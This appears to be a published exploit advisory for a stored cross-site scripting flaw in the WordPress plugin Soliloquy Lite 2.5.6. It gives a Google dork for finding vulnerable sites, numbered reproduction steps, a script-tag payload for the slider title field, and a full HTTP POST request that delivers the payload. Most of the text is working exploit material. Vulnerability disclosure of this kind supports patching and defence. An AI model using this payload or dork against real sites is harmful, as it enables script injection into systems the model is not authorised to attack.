WordPress Plugin Soliloquy Lite 2.5.6 - Persistent Cross-Site Scripting

# Exploit Title: Wordpress Soliloquy Lite 2.5.6 - Persistent Cross-Site Scripting
# Google Dork: inurl:"\wp-content\plugins\soliloquy-lite"
# Date: 2019-06-13
# Exploit Author: Unk9vvN
# Vendor Homepage: https://soliloquywp.com/
# Software Link: https://wordpress.org/plugins/soliloquy-lite/
# Version: 2.5.6
# Tested on: Kali Linux
# CVE: N/A


# Description
# This vulnerability is in the validation mode and is located in the Prevew of new post inside soliloquy and the vulnerability type is stored ,it happend when a user insert script tag in title input then save the post. everything will be ok until target click on preview of vulnerabil.

1.Go to the 'Add new' section of soliloquy
2.Enter the payload in the "add Title"
3.Select a sample image
4.Click the "Publish" option
5.Click on Preview
6.Your payload will run


# URI: http://localhost/wordpress/wp-admin/post.php?post=50&action=edit
# Parameter & Payoad: post_title=&#47;"><script>alert("Unk9vvN")<&#47;script>


#
# POC
#
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/post.php?post=50&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 1599
Cookie: .......
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

_wpnonce=d9f78b76e2&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D50%26action%3Dedit%26message%3D6&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=soliloquy&original_post_status=publish&referredby=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fpost-new.php%3Fpost_type%3Dsoliloquy%26wp-post-new-reload%3Dtrue&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fpost-new.php%3Fpost_type%3Dsoliloquy%26wp-post-new-reload%3Dtrue&post_ID=50&meta-box-order-nonce=5e054a06d1&closedpostboxesnonce=03e898cf80&post_title=%22%2F%3E%3Cscript%3Ealert%28%22Unk9vvN%22%29%3C%2Fscript%3E&samplepermalinknonce=fc4f7ec2ab&_soliloquy%5Btype%5D=default&async-upload=&post_id=50&soliloquy=bdfd10296c&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D50%26action%3Dedit%26message%3D6&_soliloquy%5Btype_default%5D=1&_soliloquy%5Bslider_theme%5D=base&_soliloquy%5Bslider_width%5D=960&_soliloquy%5Bslider_height%5D=300&_soliloquy%5Btransition%5D=fade&_soliloquy%5Bduration%5D=5000&_soliloquy%5Bspeed%5D=400&_soliloquy%5Bgutter%5D=20&_soliloquy%5Bslider%5D=1&_soliloquy%5Baria_live%5D=polite&_soliloquy%5Btitle%5D=%2F%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&_soliloquy%5Bslug%5D=scriptalert1script&_soliloquy%5Bclasses%5D=&wp-preview=dopreview&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=09&jj=13&aa=2019&hh=15&mn=21&ss=21&hidden_mm=09&cur_mm=09&hidden_jj=13&cur_jj=13&hidden_aa=2019&cur_aa=2019&hidden_hh=15&cur_hh=15&hidden_mn=21&cur_mn=21&original_publish=Update